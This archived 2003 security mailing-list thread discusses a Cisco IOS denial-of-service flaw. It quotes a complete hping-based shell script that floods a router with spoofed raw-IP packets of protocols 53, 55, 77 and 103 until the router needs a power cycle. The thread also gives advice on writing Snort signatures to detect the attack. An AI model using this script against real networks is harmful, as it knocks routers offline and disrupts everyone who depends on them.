Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover

From: Simon Gray (simong@desktop-guardian.com)
Date: Tue Jul 22 2003 - 08:45:09 PDT

  • Next message: Curt Purdy: "RE: [Full-Disclosure] Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover"

    I think this is what you're looking for.
    
    <snip>
    Subject: RE: [Snort-users] RE: [Snort-sigs] Suggested Sig for Cisco DOS
    Vulnerability
    
    
    Here's a simple script I wrote that you can use to generate an attack:
    
    > cat exploit.sh
    #!/bin/tcsh -f
    
    if ($1 == "" || $2 == "") then
      echo "usage: $0 <router hostname|address> <ttl>"
      exit
    endif
    
    foreach protocol (53 55 77 103)
        /usr/local/sbin/hping $1 --rawip --rand-source --ttl $2 --ipproto
    $protocol --count 19 --interval u250 --data 26
    end
    
    As you can see, this script iterates over the various protocols and sends 19
    packets each for a total of 76 (just enough to fill up the input queue on
    vulnerable routers). Before upgrading my routers, I confirmed that this
    attack works. I then tested to see if sending 76 packets of a single
    protocol was enough to hose the interface.. it was. Maybe I mis-read the
    original advisory, but it seemed to me that Cisco suggested all 4 were
    necessary.
    
    Therefore, be careful when creating your signatures.. If you don't use any
    of the above protocols (SWIPE, IP Mobility, Sun ND, PIM) it might make sense
    to have rules that log/alert on all of them. Don't make the rules too
    dependent on the payload either; in several packet captures I've seen, the
    payload is significantly larger than the 26 bytes necessary to exploit IOS.
    
    --
    Patrick Donahue
    Network/Systems Administrator
    ACMI Corporation
    </snip>
    ----- Original Message ----- 
    From: "Curt Purdy" <purdyat_private>
    To: <rnewsat_private>; <incidentsat_private>
    Sent: Sunday, July 20, 2003 7:58 PM
    Subject: RE: Cisco IOS Denial of Service that affects most Cisco IOS
    routers- requires power cycle to recover
    
    
    > Could we have an example of an hping command to invoke this.  I have been
    > playing with it and would like a real-world example, and since there a now
    > multiple exploits out, this knowledge should not be a problem. Thanks.
    >
    > Curt
    >
    > ----------------------------------------
    >
    > Practice safe hex.
    >
    > - Andrew Briney, editor Information Security
    >
    >
    > -----Original Message-----
    > From: Richard Johnson [mailto:rdumpat_private]
    > Sent: Sunday, July 20, 2003 2:21 AM
    > To: incidentsat_private
    > Subject: Re: Cisco IOS Denial of Service that affects most Cisco IOS
    > routers- requires power cycle to recover
    >
    >
    > In article
    > <Pine.BSO.4.53.0307172223150.11409at_private-guesswork.com>,
    >  Tina Bird <tbird@precision-guesswork.com> wrote:
    >
    > > information on the detailed structure of the evil packets in these
    > > protocols is not yet public AFAIK.
    >
    >
    > The router has problems if it receives a packet, content irrelevant,
    > that makes it to supervisor level claiming an IP protocol that it
    > doesn't have code to handle.
    >
    > The kickup to supervisor level happens when the packet is targeted
    > directly at the router's IP address (per first Cisco advisory) or just
    > has its TTL expire in transit past the router (per revised Cisco
    > advisory).
    >
    > Send enough packets (default 75), and the input queue is full.  hping is
    > enough of a launch platform for that--there's no need for
    > questionable-source exploit binaries when testing.
    >
    >
    > Richard
    >
    > --
    > My mailbox. My property. My personal space. My rules. Deal with it.
    >                         http://www.river.com/users/share/cluetrain/
    >
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